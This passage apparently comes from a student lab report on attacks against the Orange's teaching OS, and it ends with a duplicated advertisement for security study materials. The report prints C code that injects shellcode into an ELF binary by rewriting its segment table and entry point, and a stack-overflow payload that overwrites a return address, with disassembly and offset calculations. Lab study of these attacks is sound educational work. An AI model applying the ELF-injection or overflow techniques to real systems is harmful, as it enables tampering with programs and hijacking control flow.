这个方法比较硬核,那就是计算出编译后cat指令的地址,并计算出偏移地址来注入攻击。
然后是inject函数并调用,思路详见代码注释,这里就不赘述了。
void inject(filename){
char shellcode[0x100];
int i;
for(i = 0; i < sizeof(shellcode); i++) shellcode[i] = 0x90; //nop
int fd = open(filename, O_RDWR);
if(fd < 0) return printf(“open error!\n”);
char buffer[0x3000];
read(fd, buffer, 0x3000);
//保存程序原先的入口地址
int start;
memcpy(&start, buffer+24, 4);
printf(“start_addr at : %d\n”, start);
//寻找代码段
int s_off;
memcpy(&s_off, buffer+32, 4);
//每个段描述符的长度是40个字节
//text一般是第二个段
printf(“seg_off in file: %d\n”, s_off);
int seg_text = buffer + s_off + 40;
int sh_addr, seg_offset, seg_size;
memcpy(&sh_addr, seg_text+12, 4); //段映射的虚拟地址
memcpy(&seg_offset, seg_text+16, 4);//段在文件中的偏移
memcpy(&seg_size, seg_text+20, 4);//段的长度
printf(“seg_offset == %d\nseg_size == %d\n”, seg_offset, seg_size);
int code_start = start - sh_addr + seg_offset;//代码在文件中的起始地址
printf(“code_start == %d\n”, code_start);
for(i = 0; i < sizeof(shellcode); i++){
if(*(buffer + seg_offset - i -1) != 0) break;
}
if(i != sizeof(shellcode)) return printf(“cannot inject!\n”);
printf(“inject is ok!\n”);
memcpy(buffer+seg_offset-sizeof(shellcode), shellcode, sizeof(shellcode));
//printf(“shllcode: %s\n”, shellcode);
//write(1, buffer+seg_offset-sizeof(shellcode), 0x100);
printf(“inject offset == %d\n”, seg_offset-sizeof(shellcode));
//new_seg_start 就是新代码段在文件中的偏移,也是新的程序入口点
int new_seg_start = 0x0f00;//seg_offset - sizeof(shellcode);
//改写text段表
seg_offset -= sizeof(shellcode);
seg_size += sizeof(shellcode);
sh_addr = seg_offset - sizeof(shellcode);
memcpy(seg_text+12, &sh_addr, 4);
memcpy(seg_text+16, &seg_offset, 4);
memcpy(seg_text+20, &seg_size, 4);
//修改程序入口地址
// printf(“@@@@@@@@@@@ %d\n”, *(buffer+20));
printf(“@@@@@@@@@@@ %d\n”, *(int *)(buffer+24));
// printf(“@@@@@@@@@@@ %d\n”, *(buffer+28));
// printf(“@@@@@@@@@@@ %d\n”, *(buffer+32));
memcpy(buffer+24, &new_seg_start, 4);
// printf(“@@@@@@@@@@@ %d\n”, *(buffer+24));
printf(“@@@@@@@@@@@ %d\n”, *(int *)(buffer+24));
printf(“new_seg_start == %d\n”, new_seg_start);
close(fd);
fd = open(filename, O_RDWR);
int len = write(fd, buffer, sizeof(buffer));
printf(“inject length == %d\n”, len);
close(fd);
char test[0x1000];
int fd2 = open(“cat”, O_RDWR);
read(fd2, test, 0x1000);
printf(“%d\n”, *(int *)(test+24));
printf(“%s\n”, test+0xf00);
close(fd2);
}
int main(){
inject(“cat”);
}
编译执行后得到下图
原本cat指令执行正常,test2攻击后,cat指令输出自己的错误信息(原来就有的,不应该输出,但攻击后输出了),故实验成功。
但可惜的是,依旧没有解决test2与test1、test3不兼容的问题。
2.3 缓冲区溢出漏洞——栈溢出漏洞
漏洞定义:
缓冲区溢出漏洞是一种常见的安全漏洞,发生在程序向一个缓冲区写入更多数据时,超出了为该缓冲区分配的内存大小。这种溢出可能会覆盖相邻内存区域的内容,导致数据损坏、系统崩溃或安全漏洞。缓冲区溢出有栈溢出、堆溢出、BBS 溢出等多种类型,而我这次仅研究了栈溢出一种。
栈溢出漏洞发生在程序在处理数据时,写入的数据量超过了分配给栈上变量的内存空间。这种漏洞通常出现在使用不安全的字符串操作函数(如strcpy, strcat,sprintf等)时,因为这些函数不会自动检查目标缓冲区的大小,从而可能导致缓冲区溢出。
漏洞产生的原因:
栈是一个后进先出的数据结构,用于存储局部变量、函数参数、返回地址等。在函数调用时,会为其局部变量和一些控制信息分配一段连续的内存区域,这段区域被称为栈帧。栈帧的大小在编译时通常是已知的,但如果程序运行时写入了超过这个大小的数据,就会造成栈溢出。
攻击原理:
• 溢出发生:当过多的数据被写入栈上的缓冲区(如数组)时,超出的数据会覆盖相邻的栈帧内容。这种情况常见于使用不安全的字符串函数(如strcpy、gets等)。
• 覆盖返回地址:攻击者精心构造输入数据,使得栈上的返回地址被覆盖。这允许攻击者控制程序接下来执行的位置。
• 执行攻击者的代码:攻击者通常在输入数据中嵌入一段恶意代码(称为shellcode),并将返回地址修改为这段代码的起始地址。当函数尝试返回时,程序的执行流被重定向到这段恶意代码。
• 绕过安全措施:现代操作系统和编译器实施了多种安全措施(如堆栈保护、地址空间布局随机化ASLR等)来防止栈溢出攻击。然而,有经验的攻击者可能使用更复杂的技术(如栈喷射、ROP链等)来绕过这些保护机制。
具体分析:
我选择在代码文件中的一个函数中调用一个不安全函数,然后溢出这个函数。
溢出自定义不安全函数的基本假设是:我们可以自定义一个大小有限的缓冲区,然后采取方案将其溢出。可以采用直接向函数传一个占空间超过预定义buf的巨大参数,也可以选择用strcpy()、gets()等不做长度检查的不安全函数来达到攻击的效果。
检查Oranges操作系统中strcpy函数的实现:
strcpy:
push ebp
mov ebp, esp
mov esi, [ebp + 12] ; Source
mov edi, [ebp + 8] ; Destination
.1:
mov al, [esi] ; ┓
inc esi ; ┃
; ┣ 逐字节移动
mov byte [edi], al ; ┃
inc edi ; ┛
cmp al, 0 ; 是否遇到 ‘\0’
jnz .1 ; 没遇到就继续循环,遇到就结束
mov eax, [ebp + 8] ; 返回值
pop ebp
ret ; 函数结束,返回
可以发现,这个函数的实现存在安全隐患,因为它不会检查目标缓冲区的大小,直接将源字符串拷贝到目标字符串中,直到遇到\0字符。如果源字符串的长度超过了目标缓冲区的大小,这将导致栈溢出。
所以,这里我们采取的是第二种方式,通过攻击不安全函数来溢出返回地址。我们编写test3.c的代码如下:
#include “stdio.h”
#include “string.h”
unsigned char payload[] = {
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,
0x66,0x66,0x66,0x66,0x21,0x10,0x00,0x00
};
void bufferoverflow(char *str)
{
unsigned char buf[256];
strcpy(buf, payload);
}
void shellcode()
{
printf(“Hello, DP. Bufferoverflow!\n”);
}
int main(int argc, char *argv[])
{
bufferoverflow(payload);
printf(“111”);
}
test3.c只有三个函数,调用关系也十分简单,仅仅是main函数调用bufferoverflow函数.值得注意的是,shellcode函数实际上并没有被调用。payload的最后四个字节为0x21,0x10,0x00,0x00,这是shellcode函数的入口地址。得到该入口地址的方法为使用make install 编译出可执行文件之后,使用objdump -d buffer_attack > dump.txt进行反汇编,下面是得到的反汇编文件(仅截取我用到的部分):
test3: file format elf32-i386
Disassembly of section .text:
00001000 :
1000: 55 push %ebp
1001: 89 e5 mov %esp,%ebp
1003: 81 ec 18 01 00 00 sub $0x118,%esp
1009: c7 44 24 04 60 2b 00 movl $0x2b60,0x4(%esp)
1010: 00
1011: 8d 85 f8 fe ff ff lea -0x108(%ebp),%eax // buf地址108
1017: 89 04 24 mov %eax,(%esp) //strcpy函数
101a: e8 7b 04 00 00 call 149a
101f: c9 leave //mov sp,bp. pop bp
1020: c3 ret
00001021 :
1021: 55 push %ebp
1022: 89 e5 mov %esp,%ebp
1024: 83 ec 18 sub $0x18,%esp
1027: c7 04 24 28 18 00 00 movl $0x1828,(%esp)
102e: e8 3b 00 00 00 call 106e
1033: c9 leave
1034: c3 ret
00001035 :
1035: 55 push %ebp
1036: 89 e5 mov %esp,%ebp
1038: 83 e4 f0 and $0xfffffff0,%esp
103b: 83 ec 10 sub $0x10,%esp
103e: c7 04 24 60 2b 00 00 movl $0x2b60,(%esp)
1045: e8 b6 ff ff ff call 1000
104a: c7 04 24 4a 18 00 00 movl $0x184a,(%esp)
1051: e8 18 00 00 00 call 106e
1056: c9 leave
1057: c3 ret
1058: 66 90 xchg %ax,%ax
105a: 66 90 xchg %ax,%ax
105c: 66 90 xchg %ax,%ax
105e: 66 90 xchg %ax,%ax
由dump.txt可以分析出如下的栈布局,且shellcode函数的地址是0x00001021。最终我们构造的payload为0x108+0x8=0x110=272 字节,其中,前268个字节都是我们随意填充的非0值,最后4个字节是shellcode函数的地址,从而覆盖bufferoverflow函数原本的返回地址,因此在bufferoverflow函数执行完之后,就会返回到shellcode函数。
我们在没有调用shellcode的情况下输出了"Hello, DP. Bufferoverflow!\n"这串字符串,说明返回地址已经被更改。如下图所示:
3. 讨论和未来工作
3.1 如何预防格式化字符串漏洞?
利用格式化串读写越界漏洞,攻击者能使进程崩溃和读写任意地址。在本实验中,构造str为"%d"即可获取到栈中存储的数据值,如果Orange OS实现了"%n"的话,也可以构造相应的str来实现写栈中数据,从而造成非常大的安全隐患。可以采取如下的一些措施来预防格式化字符串漏洞:
• 监控进程的外界输入,凡是输入内容为格式化参数,都认为会产生格式化串读写越界;
• 通过在处理机执行期间加强对格式化函数的写操作指令进行边界检查,动态防御格式化串写越界;
• 在程序内存布局上,通过开辟另外一段内存来保存起始和终止地址的内容来判断当前内存写入是否发生格式化串读写越界;
• 通过保存紧邻最后一个格式参数之后的内容来比较写入是否发生格式化串读写越界;
• 通过保存紧邻格式化函数输入参数边界之后的数据,当格式化串读写越界发生时恢复被破坏的数据。
3.2 工作局限性讨论
对于可执行文件的破坏,我们构造的test2.c 可以很好地注入恶意代码但不破坏原有功能,并且也没有修改原elf文件的大小。但这种方法的通用性是比较差的,因为我们是使用010 Editor针对性地分析了command文件夹下的可执行文件,寻找的是代码节前的一块全0区域,也就是说攻击者事先知道了要注入的可执行文件的结构。因此如果要使用test2.c去对其他可执行文件进行注入的话就存在两个问题:一是代码节不一定是第二个节;二是代码节前面不一定有足够的0。
此外,注入方法是"test2+可执行文件名",也就是说一次是对一个文件进行注入。如果要实现查找OS中的所有可执行文件进行注入的话,其实也很简单。因为我们在任务二中实现ls指令时已经编写了search_dir 函数,该函数查找当前目录下的所有文件名。我们只需要在test2之前使用search_dir函数找到所有文件并依次判断是否为elf文件,是的话就进行注入,否则跳过。但是在这里,考虑到command文件夹下还有kernel.bin文件,它也是一个elf文件,如果对其进行注入的话可能会导致整个OS都无法正常运行,所以我们这里选择让用户自己指定要注入的elf 文件。
另外,对于第二种方法实现的注入攻击,成功限制较高,需要对已有的文件进行计算,计算出地址后根据地址攻击。
对于缓冲区溢出,我们主要是在buf里面填无用的非0值,然后将返回地址覆
盖为shellcode函数的地址。这种方法可以成功进行缓冲区的注入。
但这种方法也存在缺点:
• 需要反汇编出恶意函数的地址,且程序稍微改动之后,函数地址可能就发生了变化,因此需要反复确认。
• 需要我们反汇编可执行文件之后,通过汇编代码分析出栈的布局特别是返回地址和buf之间的偏移,构造的payload必须刚好把返回地址覆盖掉。这整个的过程是比较繁琐的。
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-VKZvgahE-1712630649922)]